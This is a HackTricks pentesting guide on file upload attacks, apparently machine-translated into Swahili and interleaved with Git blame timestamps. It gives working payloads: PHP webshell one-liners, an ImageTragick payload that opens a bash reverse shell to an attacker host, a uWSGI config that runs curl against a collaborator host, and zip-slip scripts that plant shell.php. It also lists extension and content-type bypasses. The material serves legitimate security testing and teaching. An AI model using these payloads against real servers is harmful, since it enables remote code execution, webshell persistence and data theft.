hacktricks/pentesting-web/file-upload/README.md

349 lines
26 KiB
Markdown
Raw Normal View History

# Kupakia Faili
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2024-01-01 17:15:10 +00:00
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
2024-02-11 02:13:58 +00:00
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-04-30 20:31:18 +00:00
Ikiwa una nia ya **kazi ya udukuzi** na kudukua yasiyodukuzika - **tunakupa kazi!** (_inahitajika uwezo wa kuandika na kuzungumza Kipolishi kwa ufasaha_).
2022-04-30 20:31:18 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
2022-04-30 20:31:18 +00:00
## Mbinu Mkuu ya Kupakia Faili
2020-10-15 13:16:06 +00:00
Vifaa vingine vya ziada:
2021-01-28 13:23:35 +00:00
2022-10-16 23:16:14 +00:00
* **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._phps_, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
* **Kufanya kazi katika PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
2021-02-11 00:14:31 +00:00
* **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
* **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
2021-01-28 13:23:35 +00:00
* **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
2021-02-11 00:14:31 +00:00
* **Flash**: _.swf_
* **Perl**: _.pl, .cgi_
* **Erlang Yaws Web Server**: _.yaws_
2021-01-28 13:23:35 +00:00
### Kupita vikwazo vya viendelezi vya faili
1. Ikiwa wanatumia, **angalia** **viendelezi vya awali.** Jaribu pia kuvitumia kwa herufi **kubwa**: _pHp, .pHP5, .PhAr ..._
2. _Angalia **kuongeza kielelezo halali kabla** ya kielelezo cha utekelezaji (tumia viendelezi vya awali pia):_
* _faili.png.php_
* _faili.png.Php5_
3. Jaribu kuongeza **herufi maalum mwishoni.** Unaweza kutumia Burp kufanya **bruteforce** ya herufi zote za **ascii** na **Unicode**. (_Tambua kwamba unaweza pia kujaribu kutumia **viendelezi vilivyotajwa hapo awali**_)
* _faili.php%20_
* _faili.php%0a_
* _faili.php%00_
* _faili.php%0d%0a_
* _faili.php/_
* _faili.php.\\_
* _faili._
* _faili.php...._
* _faili.pHp5...._
4. Jaribu kupita vikwazo kwa **kudanganya kipambatisho cha kielelezo** cha upande wa seva na mbinu kama **kuhifadhi** **kielelezo** au **kuongeza data ya taka** (herufi za **null**) kati ya viendelezi. _Unaweza pia kutumia **viendelezi vilivyotangulia** kuandaa mzigo bora._
* _faili.png.php_
* _faili.png.pHp5_
* _faili.php#.png_
* _faili.php%00.png_
* _faili.php\x00.png_
* _faili.php%0a.png_
* _faili.php%0d%0a.png_
* _faili.phpJunk123png_
5. Ongeza **safu nyingine ya viendelezi** kwenye ukaguzi uliopita:
* _faili.png.jpg.php_
* _faili.php%00.png%00.jpg_
6. Jaribu kuweka **kielelezo cha utekelezaji kabla ya kielelezo halali** na uombe dua ili seva iwe imepangwa vibaya. (inayoweza kutumika kudukua mizunguko ya Apache ambapo chochote chenye kielelezo cha **.php**,** lakini** sio lazima kumalizika kwa .php** itatekeleza kanuni):
* _kwa mfano: faili.php.png_
7. Kutumia **NTFS alternate data stream (ADS)** kwenye **Windows**. Katika kesi hii, herufi ya mkato ":" itawekwa baada ya kielelezo kilichozuiliwa na kabla ya kielelezo kilichoruhusiwa. Kama matokeo, **faili tupu yenye kielelezo kilichozuiliwa** itaundwa kwenye seva (k.m. "faili.asax:.jpg"). Faili hii inaweza kuhaririwa baadaye kwa kutumia mbinu zingine kama kutumia jina lake fupi. Mtindo wa "**::$data**" pia unaweza kutumika kuunda faili zisizo tupu. Kwa hivyo, kuongeza kipande baada ya mtindo huu kunaweza pia kuwa na manufaa kwa kupita vikwazo zaidi (.k.m. "faili.asp::$data.")
8. Jaribu kuvunja mipaka ya jina la faili. Kielelezo halali kinakatwa. Na PHP yenye nia mbaya inabaki. AAA<--SNIP-->AAA.php
2024-02-11 02:13:58 +00:00
```
# Linux kiwango cha juu 255 herufi
2024-02-11 02:13:58 +00:00
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # punguza 4 hapa na ongeza .png
# Pakia faili na angalia jibu ni herufi ngapi inaruhusu. Hebu sema 236
2024-02-11 02:13:58 +00:00
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-02-11 02:13:58 +00:00
# Unda mzigo
AAA<--SNIP 232 A-->AAA.php.png
```
### Kupita kwa Aina ya Yaliyomo, Nambari ya Ajabu, Ufupishaji & Kurekebisha Ukubwa
2024-04-06 19:39:38 +00:00
* Pita **maelezo ya Aina ya Yaliyomo** kwa kuweka **thamani** ya **Aina ya Yaliyomo** **kijajuu** kuwa: _picha/png_, _maandishi/rahisi_, maombi/octet-stream_
1. Orodha ya maneno ya Aina ya Yaliyomo: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
* Pita ukaguzi wa **nambari ya ajabu** kwa kuongeza mwanzoni mwa faili **bayti za picha halisi** (kuchanganya amri ya _file_). Au weka kabati ndani ya **metadata**:\
`exiftool -Comment="<?php echo 'Amri:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` au unaweza pia **kuweka mzigo moja kwa moja** katika picha:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
* Ikiwa **ufupishaji unawekwa kwenye picha yako**, kwa mfano kutumia maktaba za PHP kama [PHP-GD](https://www.php.net/manual/fr/book.image.php) za kawaida, mbinu za awali hazitakuwa na manufaa. Hata hivyo, unaweza kutumia **kitengo cha PLTE** [**mbinu iliyoelezwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandishi ambayo yatasurvive ufupishaji.
2024-02-11 02:13:58 +00:00
* [**Github na nambari**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
* Ukurasa wa wavuti unaweza pia kuwa unafanya **urekebishaji** wa **picha**, kwa kutumia kwa mfano PHP-GD functions `imagecopyresized` au `imagecopyresampled`. Hata hivyo, unaweza kutumia **kitengo cha IDAT** [**mtego uliofafanuliwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandishi ambayo yatasurvive ufupishaji.
2024-02-11 02:13:58 +00:00
* [**Github na nambari**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
* Mbinu nyingine ya kuunda mzigo ambao **utasurvive urekebishaji wa picha**, kutumia kazi ya PHP-GD `thumbnailImage`. Hata hivyo, unaweza kutumia **kitengo cha tEXt** [**mtego uliofafanuliwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandishi ambayo yatasurvive ufupishaji.
2024-02-11 02:13:58 +00:00
* [**Github na nambari**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
### Mbinu Nyingine za Kuchunguza
2024-02-11 02:13:58 +00:00
* Tafuta udhaifu wa **kubadilisha jina** la faili tayari iliyopakiwa (kubadilisha kificho).
* Tafuta udhaifu wa **Ujumuishaji wa Faili za Lokali** ili kutekeleza mlango wa nyuma.
2024-02-11 02:13:58 +00:00
* **Ufunuo wa Taarifa Inayowezekana**:
1. Pakia **mara kadhaa** (na **wakati huo huo**) **faili ile ile** na **jina moja**
2. Pakia faili yenye **jina** la **faili** au **folda** ambayo **tayari ipo**
3. Pakia faili yenye **“.”, “..”, au “…” kama jina** lake. Kwa mfano, katika Apache kwenye **Windows**, ikiwa programu inahifadhi faili zilizopakiwa kwenye saraka ya “/www/uploads/”, jina la faili “.” litasababisha faili iitwayo “uploads” katika saraka ya “/www/”.
4. Pakia faili ambayo huenda ikafutwa kwa urahisi kama vile **“…:.jpg”** katika **NTFS**. (Windows)
5. Pakia faili katika **Windows** yenye **herufi zisizofaa** kama vile `|<>*?”` katika jina lake. (Windows)
6. Pakia faili katika **Windows** ukitumia **majina yaliyohifadhiwa** (**yaliyokatazwa**) kama vile CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, na LPT9.
* Jaribu pia **kupakia faili inayoweza kutekelezwa** (.exe) au **.html** (isiyo ya shaka) ambayo **itaendesha kificho** wakati inafunguliwa kimakosa na muathiriwa.
2024-04-06 19:39:38 +00:00
### Mbinu Maalum za Uzalishaji
2024-02-11 02:13:58 +00:00
Ikiwa unajaribu kupakia faili kwenye **seva ya PHP**, [angalia **mtego wa .htaccess** kutekeleza kificho](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
Ikiwa unajaribu kupakia faili kwenye seva ya **ASP**, [angalia **mtego wa .config** kutekeleza kificho](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
2024-02-11 02:13:58 +00:00
Faili za `.phar` ni kama `.jar` kwa java, lakini kwa php, na zinaweza **kutumika kama faili ya php** (kuiendesha na php, au kuizingatia ndani ya hati...)
2024-02-11 02:13:58 +00:00
Upanuzi wa `.inc` mara nyingi hutumiwa kwa faili za php ambazo hutumiwa tu **kuagiza faili**, hivyo, kwa wakati fulani, mtu anaweza kuruhusu **upanuzi huu kutekelezwa**.
2020-10-15 13:16:06 +00:00
## **Udanganyifu wa Jetty RCE**
2022-08-04 20:47:35 +00:00
Ikiwa unaweza kupakia faili ya XML kwenye seva ya Jetty unaweza kupata [RCE kwa sababu **faili mpya za \*.xml na \*.war zinashughulikiwa moja kwa moja**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Kwa hivyo, kama ilivyotajwa kwenye picha ifuatayo, pakia faili ya XML kwa `$JETTY_BASE/webapps/` na tumaini kupata shell!
2022-08-04 20:47:35 +00:00
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1047).png>)
2022-08-04 20:47:35 +00:00
## **Udanganyifu wa uWSGI RCE**
2023-03-02 09:08:19 +00:00
Kwa uchunguzi wa kina wa udhaifu huu angalia utafiti wa awali: [Udanganyifu wa uWSGI RCE](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
2023-03-02 09:08:19 +00:00
Udhaifu wa Utekelezaji wa Amri kwa Mbali (RCE) unaweza kutumika kwenye seva za uWSGI ikiwa mtu ana uwezo wa kurekebisha faili ya usanidi ya `.ini`. Faili za usanidi wa uWSGI hutumia sintaksia maalum kuingiza "vibambo" vya kichawi, nafasi, na waendeshaji. Hasa, waendeshaji wa '@', hutumiwa kama `@(jina la faili)`, imeundwa kuingiza maudhui ya faili. Kati ya mifumo mbalimbali inayoungwa mkono katika uWSGI, mpango wa "exec" ni hasa wenye nguvu, kuruhusu kusoma data kutoka kwa pato la kawaida la mchakato. Kipengele hiki kinaweza kutumiwa kwa madhumuni mabaya kama Utekelezaji wa Amri kwa Mbali au Kuandika/Soma Faili za Kiholela wakati faili ya usanidi ya `.ini` inapoproseswa.
2024-02-05 20:00:40 +00:00
Zingatia mfano ufuatao wa faili hatari ya `uwsgi.ini`, ikionyesha mifumo mbalimbali:
2023-03-02 09:08:19 +00:00
```ini
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
2023-03-05 10:15:19 +00:00
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
2023-03-02 09:08:19 +00:00
; call a function returning a char *
characters = @(call://uwsgi_func)
```
Utekelezaji wa mzigo unatokea wakati wa kuchambua faili ya usanidi. Ili usanidi uweze kuanzishwa na kuchambuliwa, mchakato wa uWSGI lazima uanzishwe upya (labda baada ya kushindwa au kutokana na shambulio la Kukataa Huduma) au faili lazima iwekwe kwa ajili ya kujipakia moja kwa moja. Kipengele cha kujipakia moja kwa moja, ikiwa kimeanzishwa, kinajipakia upya faili kwa vipindi vilivyowekwa baada ya kugundua mabadiliko.
2024-04-06 19:39:38 +00:00
Ni muhimu kuelewa asili ya kulegea ya uchambuzi wa faili ya usanidi wa uWSGI. Hasa, mzigo uliojadiliwa unaweza kuingizwa katika faili ya binary (kama picha au PDF), ikiongeza wigo wa unyanyasaji wa uwezekano.
2023-03-02 09:08:19 +00:00
## **Mbinu ya Kutuma Faili/Trick ya SSRF ya wget**
2020-10-15 13:16:06 +00:00
Katika baadhi ya matukio unaweza kugundua kuwa server inatumia **`wget`** kudownload faili na unaweza **kuashiria** **URL**. Katika visa hivi, nambari inaweza kuwa inachunguza kwamba kificho cha faili zilizopakuliwa iko ndani ya orodha nyeupe ili kuhakikisha kuwa faili zinazoruhusiwa tu ndizo zitakazopakuliwa. Hata hivyo, **uchunguzi huu unaweza kudukuliwa.**\
Urefu **maksimumu** wa **jina la faili** katika **linux** ni **255**, hata hivyo, **wget** hukata majina ya faili hadi wahusika **236**. Unaweza **kudownload faili iliyoitwa "A"\*232+".php"+".gif"**, jina hili la faili litapita **uchunguzi** (kama katika mfano huu **".gif"** ni kielezo **sahihi**) lakini `wget` ita **badilisha** jina la faili kuwa **"A"\*232+".php"**.
2020-10-15 13:16:06 +00:00
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
```
```bash
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php
2024-02-11 02:13:58 +00:00
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-10-15 13:16:06 +00:00
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
Tafadhali elewa kwamba **chaguo lingine** unaloweza kufikiria kwa kuzingua ukaguzi huu ni kufanya **seva ya HTTP ipeleke kwenye faili tofauti**, hivyo URL ya awali itapita ukaguzi kisha wget itadownload faili iliyepewa mwelekeo mpya. Hii **haitafanya kazi** **isipokuwa** wget inatumika na **parameter** `--trust-server-names` kwa sababu **wget itadownload ukurasa ulioelekezwa kwa jina la faili iliyotajwa kwenye URL ya awali**.
## Vifaa
* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass) ni chombo imara kilichoundwa kusaidia Pentesters na Bug Hunters katika kujaribu mifumo ya kupakia faili. Inatumia njia mbalimbali za tuzo za mdudu kusahilisha mchakato wa kutambua na kutumia udhaifu, kuhakikisha tathmini kamili ya maombi ya wavuti.
## Kutoka kwa kupakia faili hadi udhaifu mwingine
2020-10-15 13:16:06 +00:00
* Weka **jina la faili** kuwa `../../../tmp/lol.png` na jaribu kufikia **kuvuka njia**
* Weka **jina la faili** kuwa `sleep(10)-- -.jpg` na unaweza kufanikiwa **SQL injection**
* Weka **jina la faili** kuwa `<svg onload=alert(document.domain)>` ili kufikia XSS
* Weka **jina la faili** kuwa `; sleep 10;` kujaribu baadhi ya mbinu za kuingiza amri (zaidi [mbinu za kuingiza amri hapa](../command-injection.md))
2024-02-11 02:13:58 +00:00
* [**XSS** katika kupakia faili ya picha (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg)
* Faili ya **JS** **kupakia** + **XSS** = [Udanganyifu wa **Wafanyikazi wa Huduma**](../xss-cross-site-scripting/#xss-abusing-service-workers)
2024-02-11 02:13:58 +00:00
* [**XXE katika kupakia svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
* [**Uelekezaji Wazi** kupitia kupakia faili ya svg](../open-redirect.md#open-redirect-uploading-svg-files)
* Jaribu **mizigo tofauti ya svg** kutoka [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
2024-02-11 02:13:58 +00:00
* [Udhaifu maarufu wa **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
* Ikiwa unaweza **kuashiria seva ya wavuti kuchukua picha kutoka kwa URL** unaweza kujaribu kutumia [SSRF](../ssrf-server-side-request-forgery/). Ikiwa **picha** hii itakuwa **imehifadhiwa** kwenye tovuti fulani ya **umma**, unaweza pia kuashiria URL kutoka [https://iplogger.org/invisible/](https://iplogger.org/invisible/) na **kuiba habari ya kila mtembeleaji**.
* [**XXE na CORS** kuepuka na kupakia PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
* PDF zilizoundwa kwa ustadi kwa XSS: Ukurasa ufuatao unaonyesha jinsi ya **kuingiza data ya PDF ili kupata utekelezaji wa JS**](../xss-cross-site-scripting/pdf-injection.md). Ikiwa unaweza kupakia PDF unaweza kuandaa PDF kadhaa ambazo zitatekeleza JS arbitrali kufuata maelekezo yaliyotolewa.
* Pakia yaliyomo ya \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) ili kuchunguza kama seva ina **antivirus**
* Angalia kama kuna **kikomo cha ukubwa** wakati wa kupakia faili
2020-10-15 13:16:06 +00:00
Hapa kuna orodha ya juu 10 ya vitu unavyoweza kufikia kwa kupakia (kutoka [hapa](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
2020-10-15 13:16:06 +00:00
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Stored XSS / SSRF / XXE
3. **GIF**: Stored XSS / SSRF
4. **CSV**: CSV injection
5. **XML**: XXE
6. **AVI**: LFI / SSRF
7. **HTML / JS** : HTML injection / XSS / Open redirect
8. **PNG / JPEG**: Pixel flood attack (DoS)
9. **ZIP**: RCE via LFI / DoS
2020-10-15 13:16:06 +00:00
10. **PDF / PPTX**: SSRF / BLIND XXE
#### Kifaa cha Burp
{% embed url="https://github.com/portswigger/upload-scanner" %}
## Vichwa vya Kichwa vya Ajaabu
2021-04-17 15:03:24 +00:00
* **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
* **JPG**: `"\xff\xd8\xff"`
2024-02-11 02:13:58 +00:00
Rejea [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List\_of\_file\_signatures) kwa aina nyingine za faili.
### Kupakia Faili ya Zip/Tar Kiotomatiki Kufunguliwa
2020-10-15 13:16:06 +00:00
Ikiwa unaweza kupakia ZIP ambayo itafunguliwa kiotomatiki ndani ya seva, unaweza kufanya mambo 2:
2020-10-15 13:16:06 +00:00
#### Kiungo cha Simulizi
2020-10-15 13:16:06 +00:00
Pakia kiungo kinachojumuisha viungo vya laini kwa faili zingine, kisha, kufikia faili zilizofunguliwa utafikia faili zilizounganishwa:
```
2020-10-15 13:16:06 +00:00
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
2021-12-05 18:16:27 +00:00
tar -cvf test.tar symindex.txt
2020-10-15 13:16:06 +00:00
```
### Kufungua katika folda tofauti
2020-10-15 13:16:06 +00:00
Uumbaji usiotarajiwa wa faili katika saraka wakati wa kufungua ni suala kubwa. Licha ya dhana za awali kwamba hali hii inaweza kulinda dhidi ya utekelezaji wa amri kwenye OS kupitia kupakia faili zenye nia mbaya, msaada wa ujazo wa hiraki na uwezo wa kuvuka saraka wa muundo wa faili za ZIP unaweza kutumiwa vibaya. Hii inaruhusu wachomozaji kukiuka vizuizi na kutoroka kutoka kwa saraka salama za kupakia kwa kubadilisha utendaji wa kufungua wa programu iliyolengwa.
2024-04-06 19:39:38 +00:00
Shambulio lililojiajiriwa kiotomatiki la kutengeneza faili kama hizo linapatikana kwenye [**evilarc kwenye GitHub**](https://github.com/ptoomey3/evilarc). Zana hiyo inaweza kutumika kama inavyoonyeshwa:
2020-10-15 13:16:06 +00:00
```python
2024-02-05 20:00:40 +00:00
# Listing available options
2021-12-05 18:16:27 +00:00
python2 evilarc.py -h
2024-02-05 20:00:40 +00:00
# Creating a malicious archive
2021-12-05 18:16:27 +00:00
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
2020-10-15 13:16:06 +00:00
```
Zaidi ya hayo, **mzaha wa symlink na evilarc** ni chaguo lingine. Ikiwa lengo ni kulenga faili kama vile `/flag.txt`, symlink kwa faili hiyo inapaswa kuundwa kwenye mfumo wako. Hii inahakikisha kwamba evilarc haina makosa wakati wa operesheni yake.
2020-10-15 13:16:06 +00:00
Hapa chini ni mfano wa nambari ya Python inayotumika kuunda faili ya zip yenye nia mbaya:
2020-10-15 13:16:06 +00:00
```python
#!/usr/bin/python
import zipfile
from io import BytesIO
2020-10-15 13:16:06 +00:00
def create_zip():
2024-02-11 02:13:58 +00:00
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
2020-10-15 13:16:06 +00:00
```
**Kutumia ujazo kwa kunyunyizia faili**
2020-10-15 13:16:06 +00:00
2024-02-11 02:13:58 +00:00
Kwa maelezo zaidi **angalia chapisho la asili katika**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
2020-10-15 13:16:06 +00:00
1. **Kujenga Shell ya PHP**: Kanuni ya PHP imeandikwa kutekeleza amri zilizopitishwa kupitia kipengele cha `$_REQUEST`.
2020-10-15 13:16:06 +00:00
2024-02-11 02:13:58 +00:00
```php
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
```
2. **Kunyunyizia Faili na Uundaji wa Faili iliyosongeshwa**: Faili nyingi hujengwa na kiwango cha zip kinajengwa kinao vijumbe hivi.
2020-10-15 13:16:06 +00:00
2024-02-11 02:13:58 +00:00
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Ubadilishaji kwa Mhariri wa Hex au vi**: Majina ya faili ndani ya zip hubadilishwa kutumia vi au mhariri wa hex, kubadilisha "xxA" kuwa "../" kuvuka saraka.
2020-10-15 13:16:06 +00:00
2024-02-11 02:13:58 +00:00
```bash
:set modifiable
:%s/xxA/..\//g
:x!
```
2020-10-15 13:16:06 +00:00
2022-05-01 16:32:23 +00:00
## ImageTragic
2020-10-15 13:16:06 +00:00
Pakia yaliyomo haya na kifaa cha picha ili kutumia udhaifu **(ImageMagick, 7.0.1-1)** (kutoka kwa [exploit](https://www.exploit-db.com/exploits/39767))
```
2020-10-15 13:16:06 +00:00
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
2024-02-11 02:13:58 +00:00
## Kuingiza PHP Shell kwenye PNG
2020-10-15 13:16:06 +00:00
Kuingiza PHP shell katika kipande cha IDAT cha faili ya PNG inaweza kufanikiwa kuepuka baadhi ya operesheni za usindikaji wa picha. Vipengele `imagecopyresized` na `imagecopyresampled` kutoka PHP-GD ni muhimu katika muktadha huu, kwani mara nyingi hutumika kwa kurekebisha ukubwa na kupangusa upya picha. Uwezo wa PHP shell iliyokita ndani kubaki bila kuharibiwa na operesheni hizi ni faida kubwa kwa matumizi fulani.
2024-02-05 20:00:40 +00:00
Uchunguzi wa kina wa mbinu hii, ikiwa ni pamoja na mbinu yake na matumizi yanayowezekana, umeelezwa katika makala ifuatayo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Rasilimali hii inatoa uelewa kamili wa mchakato na matokeo yake.
2020-10-15 13:16:06 +00:00
Maelezo zaidi katika: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
2020-10-15 13:16:06 +00:00
2024-02-11 02:13:58 +00:00
## Faili za Polyglot
2020-10-15 13:16:06 +00:00
Faili za polyglot hufanya kama chombo kipekee katika usalama wa mtandao, zikifanya kama kama kinyonga ambacho kinaweza kuwepo kihalali katika muundo wa faili mbalimbali kwa wakati mmoja. Mfano wa kuvutia ni [GIFAR](https://en.wikipedia.org/wiki/Gifar), ambayo ni mchanganyiko unaojifanya kama GIF na kama kiunzi cha RAR. Faili kama hizi haziko tu katika mchanganyiko huu; mchanganyiko kama GIF na JS au PPT na JS pia ni wa kufikirika.
2020-10-15 13:16:06 +00:00
